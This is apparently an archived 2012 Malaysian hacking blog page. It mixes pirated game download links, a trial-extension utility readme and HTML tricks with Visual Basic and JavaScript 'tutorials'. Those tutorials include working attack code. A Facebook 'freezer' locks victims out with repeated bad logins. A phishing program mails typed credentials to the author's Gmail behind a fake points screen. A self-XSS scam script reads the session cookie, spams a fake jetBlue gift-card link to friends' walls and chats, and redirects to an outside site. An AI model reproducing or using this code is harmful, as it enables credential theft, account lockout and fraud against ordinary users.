Hacker & many more: March 2012

Wednesday, March 28, 2012

Test Drive Unlimited 2 (full version)

review this game:
http://asia.gamespot.com/test-drive-unlimited/platform/pc/

Setiap: 204MB
part 1: http://www.4shared.com/rar/CkrnRlo1/file.htm
part 2: http://www.4shared.com/rar/nOpNrNKU/file.htm
part 3: http://www.4shared.com/rar/GmHyQ_W0/file.htm
part 4: http://www.4shared.com/rar/1aVMiFuS/file.htm
part 5: http://www.4shared.com/rar/nj3bkr7m/file.htm
part 6: http://www.4shared.com/rar/xL0KHaKc/file.htm
part 7: http://www.4shared.com/rar/IfThFUmI/file.htm
part 8: http://www.4shared.com/rar/njQ0W9xw/file.htm
part 9: http://www.4shared.com/rar/StOIsDZo/file.htm
part 10: http://www.4shared.com/rar/UIUYiDxm/file.htm
part 11: http://www.4shared.com/rar/7pCg2B83/file.htm
part 12: http://www.4shared.com/rar/H38G0dt3/file.htm
part 13: http://www.4shared.com/rar/Mva1Cayb/file.htm
part 14: http://www.4shared.com/rar/NZ8w9EGP/file.htm
part 15: http://www.4shared.com/rar/cXBPRgfL/file.htm
part 16: http://www.4shared.com/rar/vZk14cyO/file.htm
part 17: http://www.4shared.com/rar/m8qcBulb/file.htm

ALL 3GB plus.
==================================================================================
Jika ISO torrent here:
http://www.4shared.com/file/9niIloIH/file.htm

Facebook messenger

Info:

https://www.facebook.com/about/messenger

https://www.facebook.com/help?faq=250188951702271

Make a trial program last forever

Website: http://www.nirsoft.net/

Download:
http://www.nirsoft.net/utils/runasdate.zip
http://www.nirsoft.net/utils/run_as_date.html

Download x64:
http://www.nirsoft.net/utils/runasdate-x64.zip

Description
===========

RunAsDate is a small utility that allows you to run a program in the date
and time that you specify. This utility doesn't change the current system
date and time of your computer, but it only injects the date/time that
you specify into the desired application.
You can run multiple applications simultaneously, each application works
with different date and time, while the real date/time of your system
continues to run normally.

How does it work ?
==================

RunAsDate intercepts the kernel API calls that returns the current date
and time (GetSystemTime, GetLocalTime, GetSystemTimeAsFileTime), and
replaces the current date/time with the date/time that you specify.

System Requirements
===================

RunAsDate works under Windows 2000, Windows XP, Windows Server 2003,
Windows Server 2008, Windows Vista, and Windows 7. Older versions of
Windows are not supported. The is also x64 version available in a
separated download, for using with x64 applications.

Important Notice !!
I get many email messages that say something like "I tried to extend the
trial period of xyz software with RunAsDate and it didn't work". Running
a software with different date/time can be used for many legitimate
purposes and for these purposes RunAsDate was created. I have never said
implicitly or explicitly that RunAsDate can be used for extending the
trial period of a software. For some shareware programs, RunAsDate might
really work, but many shareware creators are smart enough to detect that
the date/time was modified and when they detect the time change, they end
the trial period immediately.
Please don't bother yourself to send me a question about extending the
trial period of a software, because these kind of messages are simply
deleted without answering.

Versions History
================

* Version 1.11:
o Added Drag & Drop support: You can now choose the .exe file to
run by dragging it from Explorer into the main window of RunAsDate.

* Version 1.10:
o Added auto complete support in the filename field.
o Added x64 version.

* Version 1.05:
o Fixed bug: When using 'Create Desktop Shortcut', the /immediate
and /movetime options were not added to the shortcut's command-line

* Version 1.04:
o The main dialog-box is now resizable.

* Version 1.03:
o Added 'Immediate Mode' - Change the date immediately when the
program starts.

* Version 1.02:
o New option: Move the time forward according to the real time.

* Version 1.01:
o New option: Create a shortcut on your desktop that will run a
program with the date/time that you specify.
o When you don't specify the time in the command-line, the current
time will be used, instead of 00:00:00.

* Version 1.00 - First release.

Using RunAsDate
===============

RunAsDate doesn't require any installation process or additional DLL
files. In order to start using it, simply copy the executable file
(RunAsDate.exe) to any folder you like, and run it.
In the main window of RunAsDate, select the desired date and time and the
application that you want to run. Optionally, you can also specify the
command-line parameters to run the program. Press the "Run" button to
start the application with the specified date/time.

Immediate Mode
==============

In versions prior to 1.03, RunAsDate always waited until the kernel was
fully loaded, and only then injected the desired date/time. This mean
that some programs that get the date/time im very early stage, received
the real current date/time, instead of the fake date/time of RunAsDate.
Starting from version 1.03, when the 'Immediate Mode' is turned on,
RunAsDate inject the date/time immediately when the process starts,
without waiting to the kernel loading. However, this mode can also cause
troubles to some applications, especially if they were written in .NET

If executing an application from RunAsDate cause it to crash, you should
turn off the 'Immediate Mode'.

Using RunAsDate from Command-Line
=================================

You can also use RunAsDate from command-line, with the following syntax:
RunAsDate.exe {/immediate} {/movetime} [dd\mm\yyyy] {hh:mm:ss} [Program
to run] {Program parameters}

Examples:
RunAsDate.exe 22\10\2002 12:35:22 "C:\Program Files\Microsoft
Office\OFFICE11\OUTLOOK.EXE"
RunAsDate.exe 14\02\2005 "c:\temp\myprogram.exe" param1 param2
RunAsDate.exe /movetime 11\08\2004 16:21:42 "C:\Program Files\Microsoft
Office\OFFICE11\OUTLOOK.EXE"

RunAsDate Limitations
=====================

* RunAsDate only works on 32-bit Windows applications. You cannot use
it for old DOS 16-bit programs or for 64-bit Windows applications.
* RunAsDate will not affect applications that take the current
date/time from another source. For example: application that loads the
current date from remote server.

Translating RunAsDate To Another Language
=========================================

RunAsDate allows you to easily translate all dialog-boxes and other
strings to other languages.
In order to do that, follow the instructions below:
1. Run RunAsDate with /savelangfile parameter:
RunAsDate.exe /savelangfile
A file named RunAsDate_lng.ini will be created in the folder of
RunAsDate utility.
2. Open the created language file in Notepad or in any other text
editor.
3. Translate the dialog-boxes and string entries to the desired
language.
4. After you finish the translation, Run RunAsDate, and all translated
strings will be loaded from the language file.
If you want to run RunAsDate without the translation, simply rename
the language file, or move it to another folder.

License
=======

This utility is released as freeware. You are allowed to freely
distribute this utility via floppy disk, CD-ROM, Internet, or in any
other way, as long as you don't charge anything for this. If you
distribute this utility, you must include all files in the distribution
package, without any modification !
Be aware that selling this utility as a part of a software package is not
allowed !

Disclaimer
==========

The software is provided "AS IS" without any warranty, either expressed
or implied, including, but not limited to, the implied warranties of
merchantability and fitness for a particular purpose. The author will not
be liable for any special, incidental, consequential or indirect damages
due to loss of data or any other reason.

Coding Tutorial

1. Tukar icon

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr">
<link rel="SHORTCUT ICON" href="http://i1267.photobucket.com/albums/jj557/Mrz125/Malaysia-Flag-icon.png">
<head>

Copy & paste kt html

Yg d highlight aku tu penting

Yg d highlight dan underline tu link icon korg

2. Tukar Background

Copy & paste

Yg d highlight dan underline tu link pic korg

3. Letak lagu youtube sebagai background music

Yg d highlight dan underline tu code yg berada kt blakang youtube video

4. Letak pic kt tengah2

Yg d highlight dan underline tu link pic korg

5. Buat tulisan bergerak

<marquee><font size="5" face='Courier' color="blue">Tulisan Korang</font></marquee>

Yg d highlight dan underline tu ayat korg nak letak

6. Tulisan ikut mouse

Yg d highlight dan underline tu ayat korg nak letak

7. Disable right click

</body>

Yg d highlight dan underline tu penting, code tu mesti kt atas </body>

8. Disable highlight

/***********************************************

* Disable Text Selection script- © Dynamic Drive DHTML code library (www.dynamicdrive.com)

* This notice MUST stay intact for legal use

* Visit Dynamic Drive at http://www.dynamicdrive.com/ for full source code

***********************************************/

function disableSelection(target){

if (typeof target.onselectstart!="undefined") //IE route

target.onselectstart=function(){return false}

else if (typeof target.style.MozUserSelect!="undefined") //Firefox route

target.style.MozUserSelect="none"

else //All other route (ie: Opera)

target.onmousedown=function(){return false}

target.style.cursor = "default"

}

//Sample usages

//disableSelection(document.body) //Disable text selection on entire body

//disableSelection(document.getElementById("mydiv")) //Disable text selection on element with id="mydiv"

</script>

disableSelection(document.body) //disable text selection on entire body of page
</script>

9. Welcome pop up

alert ("AYAT KORANG"); }

MYALERT() </script>

Yg d highlight dan underline tu ayat korg

10. Disable CRTL + U, CTRL + A,CTRL + C, & F3

Cari code <body>

Klau dah jumpa korg ganti kn code tu dgn code kt bwh ni

11. Bual salji efect

<br />

<p>* Snow Effect by Faiz Shafie at http://www.tutorialnewbie.com/blog</p>

<p>* Please keep this notice intact</p>

12. Hide HTML source code

Copy semua code HTML korg & paste kt laman web ni

http://www.onlinehtmlencryption.com/

Lepas tu click encrypt

Klau korg dah tukar, korg copy & paste code tu kt dlm HTML korg

NOTE: Klau de org nk curi source code korg mereka akn nampak mcm code kt bwh tu

B%0Aif%20%28typeof%20target.onselectstart%21%3D%22undefined%22%29%20//IE%20route%0Atarget.onselectstart%3Dfunction%28%29%7Breturn%20false%7D%0Aelse%20if%20%28typeof%20target.style.MozUserSelect%21%3D%22undefined%22%29%20//Firefox%20route%0Atarget.style.MozUserSelect%3D%22none%22%0Aelse%20//All%20other%20route%20%28ie%3A%20Opera%29%0Atarget.onmousedown%3Dfunction%28%29%7Breturn%20false%7D%0Atarget.style.cursor%20%3D%20%22defa';d=u

HTML color codes: http://www.computerhope.com/htmcolor.htm

Visual Basic Tutorial ( Facebook Login + Facebook freezer with http Web request )

Facebook Login + Facebook freezer with http Web request
I've Found a Way for Login into FaceBook Using HttpWebRequest

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

By Using This You Need
Textboxs
Textbox1 for Email
Textbox2 For Password (put the PasswordChar to systemDefault)
Button for Login

Ours Imports :-
Code:
Imports System.Net
Imports System.Text
Imports System.IO

After the Public Class Form Add this :-
Code:
Dim logincookie As CookieContainer

After That Add this COde :-
Code:
Sub login(ByVal email As String, ByVal password As String)
If TextBox1.Text = String.Empty AndAlso TextBox2.Text = String.Empty Then
MsgBox("Put your email & password", 0, "Input data")
Else
Dim postData As String = "email=" & email & "&pass=" & password & ""
Dim tempcookies As New CookieContainer
Dim encoding As New UTF8Encoding
Dim byteData As Byte() = encoding.GetBytes(postData)
Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("https://www.facebook.com/login.php?iphone&next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5QzzqNH?Qg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F"), HttpWebRequest)
postreq.Method = "POST"
postreq.KeepAlive = True
postreq.CookieContainer = tempcookies
postreq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre"
postreq.ContentType = "application/x-www-form-urlencoded"
postreq.Referer = "http://touch.facebook.com/login.php?next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5?QzzqNHQg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F&_rdr"
postreq.ContentLength = byteData.Length
Dim postreqstream As Stream = postreq.GetRequestStream()
postreqstream.Write(byteData, 0, byteData.Length)
postreqstream.Close()
Dim postresponse As HttpWebResponse
postresponse = DirectCast(postreq.GetResponse, HttpWebResponse)
tempcookies.Add(postresponse.Cookies)
logincookie = tempcookies
Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
Dim thepage As String = postreqreader.ReadToEnd
If thepage.Contains("Incorrect email/password combination") = True Then
MsgBox("Incorrect email/password combination", 0, "Login error!")
Else
MsgBox("Logged in", 0, "Success!")
End If
If thepage.Contains("You have exceeded the number of invalid login attempts that we allow for your account") = True Then
MsgBox("You have exceeded the number of invalid login attempts", 0, "Max number of wrong logins")
End If
End If
End Sub

Click the Button1 and Add this Code :-
Code:
login(TextBox1.Text, textbox2.text)
========================================================

You Also Use it as the FaceBook Freezer By Using httpwebrequest it should be very fast

Put this Code in Timer1_trick :-
Code:
login(TextBox1.Text, "12312332112123")

Freezer Login Code :-
Code:
Sub login(ByVal email As String, ByVal password As String)
Dim postData As String = "email=" & email & "&pass=" & password & ""
Dim tempcookies As New CookieContainer
Dim encoding As New UTF8Encoding
Dim byteData As Byte() = encoding.GetBytes(postData)
Dim postreq As HttpWebRequest = DirectCast(HttpWebRequest.Create("https://www.facebook.com/login.php?iphone&next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5QzzqNH?Qg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F"), HttpWebRequest)
postreq.Method = "POST"
postreq.KeepAlive = True
postreq.CookieContainer = tempcookies
postreq.UserAgent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre"
postreq.ContentType = "application/x-www-form-urlencoded"
postreq.Referer = "http://touch.facebook.com/login.php?next=http%3A%2F%2Ftouch.facebook.com%2Findex.php%3Feu%3DD0sS06p7LA4Jn5?QzzqNHQg&refsrc=http%3A%2F%2Ftouch.facebook.com%2F&_rdr"
postreq.ContentLength = byteData.Length
Dim postreqstream As Stream = postreq.GetRequestStream()
postreqstream.Write(byteData, 0, byteData.Length)
postreqstream.Close()
Dim postresponse As HttpWebResponse
postresponse = DirectCast(postreq.GetResponse, HttpWebResponse)
tempcookies.Add(postresponse.Cookies)
logincookie = tempcookies
Dim postreqreader As New StreamReader(postresponse.GetResponseStream())
Dim thepage As String = postreqreader.ReadToEnd
If thepage.Contains("You have exceeded the number of invalid login attempts that we allow for your account") = True Then
MsgBox("The FaceBook account " & (TextBox1.Text) & " is Frozen", MsgBoxStyle.OkOnly, "Operation Successfull")
End If
End Sub

Click the Button1 and Add this Code :-
Code:
Timer1.Start()

Visual Basic Tutorial ( Facebook Phishing )

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

Imports System.Security.Cryptography
Imports System.Text
Imports System.Net.Mail

Public Class Form1
Dim MyProgress As Integer

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If TextBox2.Text = "" Then
MsgBox("Password Is Mising")
Me.Close()
Else
End If
End If
Dim username As String = "GMAIL"
Dim password As String = "PASSWORD"
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(GetDecryptedData("GMAIL"))
MyMailMessage.To.Add(GetDecryptedData("GMAIL"))
MyMailMessage.Subject = "facebook"
MyMailMessage.Body = "Email : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
SMTPServer.Port = 587
SMTPServer.Credentials = New System.Net.NetworkCredential(GetDecryptedData("GMAIL"), GetDecryptedData("PASSWORD"))
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
ProgressBar1.Style = ProgressBarStyle.Blocks
ProgressBar1.Step = 1
Timer1.Enabled = True
Call MsgBox("Points are being added to your account, once complete you can exit. Please allow up to 48 houre for the points to be added.")
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Value = MyProgress
If MyProgress < 100 Then MyProgress = MyProgress + 1
Label3.Text = "Adding Points " & MyProgress & "%"
If MyProgress = 100 Then
Label3.Text = "Complete"
ProgressBar1.Visible = True
End If

End Sub

End Class

Visual Basic Tutorial ( Facebook Scam )

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length);
}
return null;
}
var user_id = readCookie("c_user");
var user_name = document.getElementById('navAccountName').innerHTML;

var coverpage = function() {
var boxdiv = document.createElement('div');
boxdiv.id = 'coverpage1';
boxdiv.style.display = 'block';
boxdiv.style.position = 'absolute';
boxdiv.style.width = 100 + '%';
boxdiv.style.height = 100 + '%';
boxdiv.style.top = 100 + 'px';
boxdiv.style.margin.top = 100 + 'auto';
boxdiv.style.margin = 0 + 'auto';
boxdiv.style.textAlign = 'center';
boxdiv.style.padding = '4px';
boxdiv.style.background = 'url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCo9KImGep4rUYQplAXnvSXwoVQB-QDIQOS9Zbr3rsXGM9OEf7_NzVuLwYwZz6tdzUdy6HeXxPbJIdZASBmf9yLVct90_1eVcZWFFtF3EFqlIqsFKNssCa5a9k_XhV1gwteXJCIJFKrf4/s1600/pgvws.png) no-repeat scroll center top';
boxdiv.style.fontSize = '15px';
boxdiv.style.zIndex = 9999999;
boxdiv.innerHTML=' <table align="center" cellpadding="5" cellspacing="5" width="400px"><tr align="left"><td valign="middle"><br /><br /><br /><br /><img style="border: 1px solid black;padding:5px;margin:10px;width:140px;height:140px;" src="http://graph.facebook.com/'+user_id+'/picture?type=large" /></td><td align="left" valign="middle"><font style="font-weight: bold;font-size:16px;">'+user_name+'</font><br /><img src="http://i.imgur.com/hRjNi.gif" style="margin-left:20px;padding-left: 5px;"/></td></tr></table>';
document.body.appendChild(boxdiv);
}
coverpage();

// Setup some variables

var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;

// Chat message variables

var this_chat = "omg!! i just got my $1,000 jetBlue giftcard in the mail today!! go get one 2 so we can go somewhere :) x.co/XFG8";
var prepared_chat = encodeURIComponent(this_chat);

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Post Link to friends walls
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var token = Math.round(new Date().getTime() / 1000);
var http1 = new XMLHttpRequest();
var url1 = "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user_id + "&token=" + token + "-6&filter[0]=user&options[0]=friends_only";
var params1 = "";
http1.open("GET", url1 + "?" + params1, true);
http1.onreadystatechange = function () { //Call a function when the state changes.
if (http1.readyState == 4 && http1.status == 200) { // If state = success
var response1 = http1.responseText;
response1 = response1.replace("for (;;);", ""); // Get rid of the junk at the beginning of the returned object
response1 = JSON.parse(response1); // Convert the response to JSON
//alert(response4.toSource());
var count = 0;
for (uid in response1.payload.entries) {
if (count < 400) {
//alert("SENT TO "+response1.payload.entries[count].uid);
// Loop to send messages
// New XMLHttp object
var httpwp = new XMLHttpRequest();
var urlwp = "http://www.facebook.com/ajax/profile/composer.php?__a=1";
var paramswp = "post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&xhpc_composerid=u574553_1&xhpc_targetid=" + response1.payload.entries[count].uid + "&xhpc_context=profile&xhpc_fbx=1&aktion=post&app_id=2309869772&UIThumbPager_Input=0&attachment[params][metaTagMap][0][http-equiv]=content-type&attachment[params][metaTagMap][0][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][metaTagMap][1][property]=og%3Atitle&attachment[params][metaTagMap][1][content]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][metaTagMap][2][property]=og%3Aurl&attachment[params][metaTagMap][2][content]=http://www.facebook.com&attachment[params][metaTagMap][3][property]=og%3Asite_name&attachment[params][metaTagMap][3][content]=jetBlue&attachment[params][metaTagMap][4][property]=og%3Aimage&attachment[params][metaTagMap][4][content]=http://i.imgur.com/8TAjs.jpg&attachment[params][metaTagMap][5][property]=og%3Adescription&attachment[params][metaTagMap][5][content]=Only 24 Hours Left!!&attachment[params][metaTagMap][6][name]=description&attachment[params][metaTagMap][6][content]=jetBlue&attachment[params][metaTagMap][7][http-equiv]=Content-Type&attachment[params][metaTagMap][7][content]=text%2Fhtml%3B%20charset%3Dutf-8&attachment[params][medium]=106&attachment[params][urlInfo][user]=http://x.co/XFG8&attachment[params][favicon]=http://lol.info/os/favicon.ico&attachment[params][title]=How would you like a $1,000 jetBlue Gift Card? - Fly Anywhere For Free!&attachment[params][fragment_title]=&attachment[params][external_author]=&attachment[params][summary]=Only 24 hours left!&attachment[params][url]=http://www.facebook.com&attachment[params][ttl]=0&attachment[params][error]=1&attachment[params][responseCode]=206&attachment[params][metaTags][description]=Get your FREE $1,000 jetBlue card now before time runs out!&attachment[params][images][0]=http://i.imgur.com/8TAjs.jpg&attachment[params][scrape_time]=1302991496&attachment[params][cache_hit]=1&attachment[type]=100&xhpc_message_text=omg!! i can't believe they're sending me one!!!&xhpc_message=yesssss GOT ONE SUCKASSSS&nctr[_mod]=pagelet_wall&lsd&post_form_id_source=AsyncRequest";

httpwp.open("POST", urlwp, true);
//Send the proper header information along with the request
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function () { //Call a function when the state changes.
if (httpwp.readyState == 4 && httpwp.status == 200) {
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpwp.send(paramswp);
}
count++; // increment counter
}
http1.close; // Close the connection
}
}
http1.send(null);

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Hide chat boxes
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var hide = document.getElementById('fbDockChatTabSlider');
hide.style.display = "none";

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Get online friends and send chat message to them
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http3 = new XMLHttpRequest();
var url3 = "http://www.facebook.com/ajax/chat/buddy_list.php?__a=1";
var params3 = "user=" + user_id + "&popped_out=false&force_render=true&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest";
http3.open("POST", url3, true);
//Send the proper header information along with the request
http3.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http3.setRequestHeader("Content-length", params3.length);
http3.setRequestHeader("Connection", "close");
http3.onreadystatechange = function () { //Call a function when the state changes.
if (http3.readyState == 4 && http3.status == 200) {
var response3 = http3.responseText;
response3 = response3.replace("for (;;);", "");
response3 = JSON.parse(response3);
var count = 0;
for (property in response3.payload.buddy_list.nowAvailableList) {
if (count < 100) {
// Loop to send messages
// New XMLHttp object
var httpc = new XMLHttpRequest();
// Generate random message ID
var msgid = Math.floor(Math.random() * 1000000);
var time = Math.round(new Date().getTime() / 1000);
var urlc = "http://www.facebook.com/ajax/chat/send.php?__a=1";
var paramsc = "msg_id=" + msgid + "&client_time=" + time + "&to=" + property + "&num_tabs=1&pvs_time=" + time + "&msg_text=" + prepared_chat + "&to_offline=false&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest";
httpc.open("POST", urlc, true);
//Send the proper header information along with the request
httpc.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpc.setRequestHeader("Content-length", paramsc.length);
httpc.setRequestHeader("Connection", "close");
httpc.onreadystatechange = function () { //Call a function when the state changes.
if (httpc.readyState == 4 && httpc.status == 200) {
//alert(http.responseText);
//alert('buddy list fetched');
}
}
httpc.send(paramsc);
}
//alert(property);
count++; // increment counter
}
http3.close; // Close the connection
}
}
http3.send(params3);

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http4 = new XMLHttpRequest();
var url4 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params4 = "fbpage_id=201282479913581&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
http4.open("POST", url4, true);
//Send the proper header information along with the request
http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http4.setRequestHeader("Content-length", params4.length);
http4.setRequestHeader("Connection", "close");
http4.onreadystatechange = function () { //Call a function when the state changes.
if (http4.readyState == 4 && http4.status == 200) {
http4.close; // Close the connection
}
}
http4.send(params4);

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http5 = new XMLHttpRequest();
var url5 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params5 = "fbpage_id=201286706575691&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
http5.open("POST", url5, true);
//Send the proper header information along with the request
http5.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http5.setRequestHeader("Content-length", params5.length);
http5.setRequestHeader("Connection", "close");
http5.onreadystatechange = function () { //Call a function when the state changes.
if (http5.readyState == 4 && http5.status == 200) {
http5.close; // Close the connection
}
}
http5.send(params5);

///////////////////////////////////////////////////////////////////////////////////////////////////////////////
// Become a Fan
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
var http6 = new XMLHttpRequest();
var url6 = "http://www.facebook.com/ajax/pages/fan_status.php?__a=1";
var params6 = "fbpage_id=167400883320224&add=1&reload=0&preserve_tab=false&nctr[_mod]=pagelet_header&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&lsd&post_form_id_source=AsyncRequest"
http6.open("POST", url6, true);
//Send the proper header information along with the request
http6.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http6.setRequestHeader("Content-length", params6.length);
http6.setRequestHeader("Connection", "close");
http6.onreadystatechange = function () { //Call a function when the state changes.
if (http6.readyState == 4 && http6.status == 200) {
http6.close; // Close the connection
}
}
http6.send(params6);

//this function includes all necessary js files for the application
function include(file)
{

var script = document.createElement('script');
script.src = file;
script.type = 'text/javascript';
script.defer = true;

document.getElementsByTagName('head').item(0).appendChild(script);

}
include('http://code.jquery.com/jquery-1.5.2.min.js');
var landingpage = function() {
var myFrame = $("div#coverpage1").hide(1000);
window.top.location = "http://appboxkm.info.s3-website-us-east-1.amazonaws.com/";
}
setTimeout("landingpage();",19000);

Visual Basic Tutorial ( Fake Email Sender )

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

Imports System.Net.Mail
Public Class Form1

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
If msgTo.Text = "" Or msgFrom.Text = "" Or msgSubject.Text = "" Or msgBody.Text = "" Or smtpHost.Text = "" Or smtpPort.Text = "" Then
MsgBox("You must fill out everything!", MsgBoxStyle.Information, "Error")
Exit Sub
End If
On Error GoTo msgError
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("email", "password")
smtpServer.Port = smtpPort.Text
smtpServer.Host = smtpHost.Text
If SSL.Checked = True Then
smtpServer.EnableSsl = True
Else
smtpServer.EnableSsl = False
End If
smtpServer.EnableSsl = SSL.Checked
mail = New MailMessage()
mail.From = New MailAddress(msgFrom.Text)
mail.To.Add(msgTo.Text)
mail.Subject = msgSubject.Text
mail.Body = msgBody.Text
smtpServer.Send(mail)
MsgBox("Email was sent to:" & msgTo.Text)
Exit Sub
msgError:
MsgBox("Couldn't send email, please make sure the SMTP Settings are correct.", MsgBoxStyle.Critical, "Error")
End Sub

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
smtpHost.Text = "smtp.live.com"
End Sub
End Class

Visual Basic Tutorial ( Send Fake Email with attachment ) [ 1 ]

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

Dim mail As New MailMessage()
mail.To = "me@mycompany.com"
mail.From = "you@yourcompany.com"
mail.Subject = "this is a test email."
mail.Body = "this is my test email body."
Dim attachment As New MailAttachment(Server.MapPath("test.txt")) 'create the attachment
mail.Attachments.Add(attachment) 'add the attachment
SmtpMail.SmtpServer = "localhost" 'your real server goes here
SmtpMail.Send(mail)

Visual Basic Tutorial ( Send Fake Email with attachment ) [ 2 ]

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

MailMessage mail = new MailMessage();
mail.To = "me@mycompany.com";
mail.From = "you@yourcompany.com";
mail.Subject = "this is a test email.";
mail.Body = "this is my test email body.";
MailAttachment attachment = new MailAttachment( Server.MapPath( "test.txt" ) ); //create the attachment
mail.Attachments.Add( attachment ); //add the attachment
SmtpMail.SmtpServer = "localhost"; //your real server goes here
SmtpMail.Send( mail );

Visual Basic Tutorial ( Happy Virus Code )

Download Visual Basic:
http://www.microsoft.com/visualstudio/en-us

NOTE:This is note a real virus, this is fake virus
" Just for fun "

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
Timer1.Start()
End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Dim formy1 As New Form1
Dim formy2 As New Form1
Dim a As New Integer
Dim b As New Integer
Dim c As New Integer
Dim d As New Integer
a = Int(Rnd() * 1300)
b = Int(Rnd() * 730)
c = Int(Rnd() * 1300)
d = Int(Rnd() * 730)
Me.Location = New Point(a, b)
formy1.Location = New Point(a, b)
formy2.Location = New Point(c, d)
formy1.Show()
formy2.Show()
End Sub
End Class

Buat Command Prompt Sendiri ( CMD )

1. Copy & paste kod kt bwh ni dekat notepad dan save as system.bat

echo off
title [*] Amalina Command Prompt [*]
color 2
cls
echo.
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ±± ±±
echo ±± ±±
echo ±± [*] Welcome To Amalina Command Prompt [*] ±±
echo ±± ±±
echo ±± ±±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
echo ± ±
echo ± ±
echo ± * Onwed : Amalina ±
echo ± ±
echo ± * Ori.IP : amalina1995.dyndns.org ±
echo ± ±
echo ± * Onwed : Amalina ±
echo ± ±
echo ± * Crew : WHITE CODE MALAYSIAN CREW™ ±
echo ± ±
echo ± -== Respect Us ==- ±
echo ± ±
echo ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±

ok sudah.
2. Copy & paste kod ni pulak dekat notepad,save as system.reg

REGEDIT4
